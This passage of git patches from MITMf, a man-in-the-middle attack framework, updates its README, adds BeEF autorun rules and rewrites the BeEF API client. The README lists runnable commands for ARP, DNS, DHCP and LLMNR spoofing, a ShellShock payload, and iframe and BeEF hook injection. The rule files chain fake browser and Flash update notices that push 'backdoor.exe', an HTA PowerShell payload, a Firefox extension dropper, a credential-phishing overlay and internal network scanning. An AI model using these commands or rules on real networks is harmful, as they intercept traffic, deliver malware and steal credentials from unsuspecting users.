--dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +- ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Enable LLMNR/NBTNS/MDNS spoofing: -```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` +- ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): -```python mitmf.py -i enp3s0 --spoof --dhcp``` +- ```python mitmf.py -i enp3s0 --spoof --dhcp``` Same as above with a ShellShock payload that will be executed if any client is vulnerable: -```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` +- ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` Inject an HTML IFrame using the **Inject** plugin: -```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` +- ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` Inject a JS script: -```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +- ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` -And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) +And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +For a complete list of available options, just run ```python mitmf.py --help``` #Currently available plugins @@ -118,23 +120,3 @@ Installation **Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again **Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package - -FAQ -=== -- **Is Windows supported?** -- Nope, don't think it will ever be - -- **Is OSX supported?** -- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket! - -- **I can't install package X because of an error!** -- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. - -- **How do I install package X?** -- Please read the [installation](#installation) guide. - -- **I get an ImportError when launching MITMf!** -- Please read the [installation](#installation) guide. - -- **Dude, no documentation?** -- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki From 307303ea58939d250231467bf91aff1fe5e575c9 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:06:42 +0200 Subject: [PATCH 084/181] added packet filter tutorial to README --- README.md | 43 ++++++++++++++++++++++++++++++++----------- 1 file changed, 32 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index a9b8a7c..6ff6741 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ Contact me at: - IRC on Freenode: #MITMf - Email: byt3bl33d3r@gmail.com -**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBUTING.md](CONTRIBUTING.md).** +**Before submitting issues, please read the [CONTRIBUTING.md](CONTRIBUTING.md).** Description ============ @@ -40,46 +40,67 @@ allowing users to modify any type of traffic or protocol. - [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. +Active packet filtering/modification +==================================== + +You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) + +For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: + +``` +if packet.haslayer(ICMP): + packet.dst = '192.168.1.0' + +``` +- Use the ```packet``` variable to access the packet in a Scapy compatible format +- Use the ```data``` variable to access the raw packet data + +Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` + +You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) + Examples ======== The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: -- ```python mitmf.py -i enp3s0``` +```python mitmf.py -i enp3s0``` ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: -- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -- ```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): -- ```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` Enable LLMNR/NBTNS/MDNS spoofing: -- ```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): -- ```python mitmf.py -i enp3s0 --spoof --dhcp``` +```python mitmf.py -i enp3s0 --spoof --dhcp``` Same as above with a ShellShock payload that will be executed if any client is vulnerable: -- ```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` Inject an HTML IFrame using the **Inject** plugin: -- ```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` Inject a JS script: -- ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` -And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) +And much much more! + +Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) For a complete list of available options, just run ```python mitmf.py --help``` From 68e98704e211df47df44e310c953cb8f566c245a Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:11:15 +0200 Subject: [PATCH 085/181] indent and highlighting --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6ff6741..4f0fc07 100644 --- a/README.md +++ b/README.md @@ -47,11 +47,11 @@ You can now modify any packet/protocol that gets intercepted by MITMf using Scap For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: -``` +```python if packet.haslayer(ICMP): packet.dst = '192.168.1.0' - ``` + - Use the ```packet``` variable to access the packet in a Scapy compatible format - Use the ```data``` variable to access the raw packet data From 39aa7473adf12895a9db8220c7d16de0b95328ac Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 05:47:12 +0200 Subject: [PATCH 086/181] updated filter explanation --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 4f0fc07..3eced9f 100644 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ For example, here's a stupid little filter that just changes the destination IP ```python if packet.haslayer(ICMP): + log.info('Got an ICMP packet!') packet.dst = '192.168.1.0' ``` @@ -59,6 +60,8 @@ Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) +**Note**: you can modify filters on-the-fly without restarting MITMf! + Examples ======== From 795b98d1c582da5db977e09963a2c2d8d4959f7b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 06:01:21 +0200 Subject: [PATCH 087/181] changed examples --- README.md | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 3eced9f..e473406 100644 --- a/README.md +++ b/README.md @@ -69,13 +69,17 @@ The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds o ```python mitmf.py -i enp3s0``` -ARP poison 192.168.1.0/24 with the gateway at 192.168.1.1 using the **Spoof** plugin: +ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` Same as above + a WPAD rogue proxy server using the **Responder** plugin: -```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.0.0/24 --gateway 192.168.1.1 --responder --wpad``` +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` + +ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: + +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): From e9657c0e07bc93b656d70226bdbfcb14d112bba1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 11:46:52 +0200 Subject: [PATCH 088/181] updated lock icon --- lock.ico | Bin 1150 -> 558 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/lock.ico b/lock.ico index b94e360355e123e5794461f2d40bcdf276776f33..4776cfc9ddc645098211a3f76a96f646b03da22e 100644 GIT binary patch literal 558 zcmV+}0@3}6P)P000&U1^@s6HNQ8u00001b5ch_0Itp) z=>Px#1ZP1_K>z@;j|==^1poj532;bRa{vGmbN~PnbOGLGA9w%&0mDf|K~zXfy_8=| z0znkT=X*s&M1+qK5fN5jA)k5+AtA5`izpI_^sRc39wdmMZxAV@xsXyIWd7M*SJ!pR z8)uooCGT!T_JhORnR8~Yj=PF_y-uS>G#U+Aj*kCn(rh+m$)hL=C6h^tMxzuChn*4g zVzDR_-uO1j=kpYc#VD7{QMFnnRaKo4bF9PnLtv8^@p#-huv98J-{MP{XR}$y_d{r! zCd=VOA`$1haPVLjbF9PnL+H9L%i-WKTnWa0zb{wa>wf&GNuf~qb{Mxl4AE+}Wa;Lk z|4y5k5UrjDe1#nH9KtXRS-LUpHm#fl=)u0ByWS-$_{bs8A=>TXreSFmOw7=2CqWrw zn-zTIkmq2Vv@DgDj;HBbJEC+m!U{fe$a9EJrz1-@*tB>!MVZ<@oxN_bf{&bM6Vo(h z=?0q?4kjsG*`d_)IxG0dc{b^GyRvkHP4jybbY9+~gc4!}AGu#QncE$wtCs{_JVjZ- zN6xc}Wm&RxgQq2wTBg~ZF<-5vg5FP8uh)~M8$90%A(xI{ojyfXWhIkWr}<@To8Px@!@WPawVouA zT;t|qglmgoJYzoEx*Vw0YRZq5N;5u`=g`}1!Duqz@eko24=^0?G8*#Z@eN{gb)mDF zxM0*$UGqJf+ViLm$|OEtroiuXG2nKw5Rb93wMk?t%IbPTTszA2d<6G+khY#q8k&vt zI=eVh_#V;l%!3&@`9)aTd(i0{2nK_MM#q?#oWeci!y5?UaP(p@v{LhfhOevD{Af0j zrO1}nFF0L=-Zz19$j`uRgt65mzLg~X$)9m7uF*fYhIM2LU5}S9v?k2cGaRTmCGkq5 zm9y)&P+fNOLitIaEiUExiZkTLR>+=PB-;}rBmX0WcRpZGZV~0PQRF78#P7G*DNAj# zuk9zE_@s;{i_3WBqJgYfoY&@8c(r>3L0N*3dz6>XT;S8#2K&wJ5}(!7OyQMloLfk6 zZX!(0XoULIJx<>Fi*LoQ((6e+4=hj-n5S}bnWGaCGLv z3DdihBCxcHdooIuriE5lfG@R;gc2LOcy*oVMZ$cit0NSh+f_@?PphucNVm(wdA*+N z%duTOHiKFG--0+jm$5rLq*^4t%=p|5tnNN)Ehh9f3oV^CsV*iDW~XC&o0YA*zjEj9 z7Q-Wh=o_@uHE5`}n`!ZM(|5&(vGWqcA>SkUe$OCQyLc{t{{w&C=eOJ2BvMJnZd|3^ z06`CY94F+unyV@KlU YAm#sgJJB!3(S#_me{Dzi9~Xpw0YlyN5&!@I From 232e43325d998f22433c45c08859f03da7237676 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Jul 2015 19:45:12 +0200 Subject: [PATCH 089/181] modified intall intructions --- README.md | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/README.md b/README.md index e473406..9c83dfe 100644 --- a/README.md +++ b/README.md @@ -143,8 +143,5 @@ Installation - Clone this repository - Run the ```setup.sh``` script +- On Kali, Debian (and possibly Ubuntu): ```apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev``` - Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies - -**Note:** on Kali, Debian (and possibly Ubuntu): If pip complains about ```pcap.h``` missing, install the ```libpcap0.8-dev``` and ```python-pypcap``` packages and try again - -**Note 2:** If ```netfilterqueue``` fails to compile, install the ```libnetfilter-queue-dev``` package From 87bca5e7dd3cdf7fa4efcea2fc9076ee07dccd9c Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Jul 2015 00:54:59 +0200 Subject: [PATCH 090/181] Added new beefapi.py , modified beefautorun plugin: now handles hook injection + ARE autoloading --- .../beef_arerules/c_osx_test-return-mods.json | 35 ++ config/beef_arerules/enabled/.gitignore | 3 + config/beef_arerules/enabled/README | 2 + .../ff_osx_extension-dropper.json | 20 + .../ff_tux_webrtc-internalip.json | 28 + .../ie_win_fakenotification-clippy.json | 31 ++ .../beef_arerules/ie_win_htapowershell.json | 27 + .../ie_win_missingflash-prettytheft.json | 27 + .../ie_win_test-return-mods.json | 35 ++ config/mitmf.conf | 37 +- core/beefapi.py | 496 ++++++++++-------- plugins/beefautorun.py | 79 +++ 12 files changed, 561 insertions(+), 259 deletions(-) create mode 100644 config/beef_arerules/c_osx_test-return-mods.json create mode 100644 config/beef_arerules/enabled/.gitignore create mode 100644 config/beef_arerules/enabled/README create mode 100644 config/beef_arerules/ff_osx_extension-dropper.json create mode 100644 config/beef_arerules/ff_tux_webrtc-internalip.json create mode 100644 config/beef_arerules/ie_win_fakenotification-clippy.json create mode 100644 config/beef_arerules/ie_win_htapowershell.json create mode 100644 config/beef_arerules/ie_win_missingflash-prettytheft.json create mode 100644 config/beef_arerules/ie_win_test-return-mods.json create mode 100644 plugins/beefautorun.py diff --git a/config/beef_arerules/c_osx_test-return-mods.json b/config/beef_arerules/c_osx_test-return-mods.json new file mode 100644 index 0000000..684d05c --- /dev/null +++ b/config/beef_arerules/c_osx_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "S", + "browser_version": ">= 7", + "os": "OSX", + "os_version": "<= 10.10", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/enabled/.gitignore b/config/beef_arerules/enabled/.gitignore new file mode 100644 index 0000000..514e47a --- /dev/null +++ b/config/beef_arerules/enabled/.gitignore @@ -0,0 +1,3 @@ +* +!.gitignore +!README diff --git a/config/beef_arerules/enabled/README b/config/beef_arerules/enabled/README new file mode 100644 index 0000000..4204c48 --- /dev/null +++ b/config/beef_arerules/enabled/README @@ -0,0 +1,2 @@ +Move here the ARE rule files that you want to load into BeEF. +Make sure they are .json files (any other file extension is ignored). \ No newline at end of file diff --git a/config/beef_arerules/ff_osx_extension-dropper.json b/config/beef_arerules/ff_osx_extension-dropper.json new file mode 100644 index 0000000..2f4bb35 --- /dev/null +++ b/config/beef_arerules/ff_osx_extension-dropper.json @@ -0,0 +1,20 @@ +{ + "name": "Firefox Extension Dropper", + "author": "antisnatchor", + "browser": "FF", + "browser_version": "ALL", + "os": "OSX", + "os_version": ">= 10.8", + "modules": [{ + "name": "firefox_extension_dropper", + "condition": null, + "options": { + "extension_name": "Ummeneske", + "xpi_name": "Ummeneske", + "base_host": "http://172.16.45.1:3000" + } + }], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ff_tux_webrtc-internalip.json b/config/beef_arerules/ff_tux_webrtc-internalip.json new file mode 100644 index 0000000..d429f03 --- /dev/null +++ b/config/beef_arerules/ff_tux_webrtc-internalip.json @@ -0,0 +1,28 @@ +{"name": "Get Internal IP (WebRTC)", + "author": "antisnatchor", + "browser": "FF", + "browser_version": ">= 31", + "os": "Linux", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "internal_network_fingerprinting", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", + "options": { + "ipRange":"<>", + "ports":"80", + "threads":"5", + "wait":"2", + "timeout":"10" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_fakenotification-clippy.json b/config/beef_arerules/ie_win_fakenotification-clippy.json new file mode 100644 index 0000000..bac6e44 --- /dev/null +++ b/config/beef_arerules/ie_win_fakenotification-clippy.json @@ -0,0 +1,31 @@ +{ + "name": "Ie Fake Notification + Clippy", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "== 11", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." + } + } + ,{ + "name": "clippy", + "condition": null, + "options": { + "clippydir": "http://172.16.45.1:3000/clippy/", + "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", + "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe", + "respawntime":"5000", + "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0,2000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_htapowershell.json b/config/beef_arerules/ie_win_htapowershell.json new file mode 100644 index 0000000..40e677b --- /dev/null +++ b/config/beef_arerules/ie_win_htapowershell.json @@ -0,0 +1,27 @@ +{ + "name": "HTA PowerShell", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "ALL", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" + } + }, + { + "name": "hta_powershell", + "condition": null, + "options": { + "domain":"http://172.16.45.1:3000", + "ps_url":"/ps" + } + }], + "execution_order": [0,1], + "execution_delay": [0,500], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_missingflash-prettytheft.json b/config/beef_arerules/ie_win_missingflash-prettytheft.json new file mode 100644 index 0000000..e7620f6 --- /dev/null +++ b/config/beef_arerules/ie_win_missingflash-prettytheft.json @@ -0,0 +1,27 @@ +{ + "name": "Fake missing plugin + Pretty Theft LinkedIn", + "author": "antisnatchor", + "browser": "IE", + "browser_version": ">= 8", + "os": "Windows", + "os_version": "== XP", + "modules": [{ + "name": "fake_notification_c", + "condition": null, + "options": { + "url": "http://172.16.45.1:3000/updates/backdoor.exe", + "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " + } + }, { + "name": "pretty_theft", + "condition": null, + "options": { + "choice": "Windows", + "backing": "Grey", + "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" + } + }], + "execution_order": [0, 1], + "execution_delay": [0, 5000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/config/beef_arerules/ie_win_test-return-mods.json b/config/beef_arerules/ie_win_test-return-mods.json new file mode 100644 index 0000000..657bb20 --- /dev/null +++ b/config/beef_arerules/ie_win_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "<= 8", + "os": "Windows", + "os_version": ">= XP", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 9e75143..09f9e58 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -6,8 +6,8 @@ # Required BeEF and Metasploit options [[BeEF]] - beefip = 127.0.0.1 - beefport = 3000 + host = 127.0.0.1 + port = 3000 user = beef pass = beef @@ -187,39 +187,6 @@ #Set your custom PAC script WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' -[BeEFAutorun] - #Example config for the BeefAutorun plugin - - mode = oneshot - #can be set to loop, or oneshot - - #in loop mode the plugin will run modules on all hooked browsers every 10 seconds - #in oneshot mode the plugin will run modules only once per hooked browser - - [[ALL]] #Runs specified modules on all hooked browsers - - 'Man-In-The-Browser'= '{}' - - [[targets]] #Runs specified modules based on OS and Browser type - - [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer - - [[[[FF]]]] - 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' - - [[[[IE]]]] - 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' - - [[[Windows 7]]] #Target only Windows 7 using Chrome - - [[[[C]]]] - 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' - - [[[Linux]]] #Target Linux platforms using Chrome - - [[[[C]]]] - 'Redirect Browser (Rickroll)' = '{}' - [AppCachePoison] # HTML5 AppCache poisioning attack # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. diff --git a/core/beefapi.py b/core/beefapi.py index b020153..ff4210a 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -22,292 +22,340 @@ import requests import json -import logging from UserList import UserList -logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message - class BeefAPI: - def __init__(self, opts=[]): - self.host = opts.get('host') or "127.0.0.1" - self.port = opts.get('port') or "3000" - self.token = None - self.url = "http://{}:{}/api/".format(self.host, self.port) - self.login_url = self.url + "admin/login" + def __init__(self, opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" + self.token = None + self.url = "http://{}:{}/api/".format(self.host, self.port) + self.login_url = self.url + "admin/login" - def login(self, username, password): - try: - auth = json.dumps({"username": username, "password": password}) - r = requests.post(self.login_url, data=auth) - data = r.json() + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() - if (r.status_code == 200) and (data["success"]): - self.token = data["token"] #Auth token - - self.hooks_url = "{}hooks?token={}".format(self.url, self.token) - self.modules_url = "{}modules?token={}".format(self.url, self.token) - self.logs_url = "{}logs?token={}".format(self.url, self.token) - self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - - return True - elif r.status_code != 200: - return False + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token - except Exception as e: - print "[BeEF-API] Error logging in to BeEF: {}".format(e) + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.are_url = "{}autorun/rule/".format(self.url) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) - @property - def hooked_browsers(self): - r = requests.get(self.hooks_url) - return Hooked_Browsers(r.json(), self.url, self.token) + return True + elif r.status_code != 200: + return False - @property - def dns(self): - r = requests.get(self.dns_url) - return DNS(r.json(), self.url, self.token) + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) - @property - def logs(self): - logs = [] - r = requests.get(self.logs_url) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) - @property - def modules(self): - modules = ModuleList([]) - r = requests.get(self.modules_url) - for k,v in r.json().iteritems(): - modules.append(Module(v, self.url, self.token)) - return modules + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + + @property + def logs(self): + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules + + @property + def are_rules(self): + return ARE_Rules(self.are_url, self.token) class ModuleList(UserList): - def __init__(self, mlist): - self.data = mlist + def __init__(self, mlist): + self.data = mlist - def findbyid(self, m_id): - for m in self.data: - if m_id == m.id: - return m + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m - def findbyname(self, m_name): - pmodules = ModuleList([]) - for m in self.data: - if (m.name.lower().find(m_name.lower()) != -1) : - pmodules.append(m) - return pmodules + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules class SessionList(UserList): - def __init__(self, slist): - self.data = slist + def __init__(self, slist): + self.data = slist - def findbysession(self, session): - for s in self.data: - if s.session == session: - return s + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s - def findbyos(self, os): - res = SessionList([]) - for s in self.data: - if (s.os.lower().find(os.lower()) != -1): - res.append(s) - return res + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res - def findbyip(self, ip): - res = SessionList([]) - for s in self.data: - if ip == s.ip: - res.append(s) - return res + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res - def findbyid(self, s_id): - for s in self.data: - if s.id == s_id: - return s + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s - def findbybrowser(self, browser): - res = SessionList([]) - for s in self.data: - if browser == s.name: - res.append(s) - return res + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res - def findbybrowser_v(self, browser_v): - res = SessionList([]) - for s in self.data: - if browser_v == s.version: - res.append(s) - return res + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res - def findbypageuri(self, uri): - res = SessionList([]) - for s in self.data: - if uri in s.page_uri: - res.append(s) - return res + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res - def findbydomain(self, domain): - res = SessionList([]) - for s in self.data: - if domain in s.domain: - res.append(s) - return res + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class ARE_Rule(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + self.modules = json.loads(self.modules) + + def trigger(self): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + + def delete(self): + r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + +class ARE_Rules(object): + + def __init__(self, url, token): + self.url = url + self.token = token + + def list(self): + rules = [] + r = requests.get('{}/list/all?token={}'.format(self.url, self.token)) + data = r.json() + if (r.status_code == 200) and (data['success']): + for rule in data['rules']: + rules.append(ARE_Rule(rule, self.url, self.token)) + + return rules + + def add(self, rule_path): + if rule_path.endswith('.json'): + headers = {'Content-Type': 'application/json; charset=UTF-8'} + with open(rule_path, 'r') as rule: + payload = rule.read() + r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) + return r.text #currently the returned object can't be serialized to JSON + + def trigger(self, rule_id): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + + def delete(self, rule_id): + r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() class Module(object): - def __init__(self, data, url, token): - self.url = url - self.token = token + def __init__(self, data, url, token): + self.url = url + self.token = token - self.id = data['id'] - self.name = data['name'] - self.category = data['category'] + for k,v in data.iteritems(): + setattr(self, k, v) - @property - def options(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['options'] + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] - @property - def description(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['description'] + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] - def run(self, session, options={}): 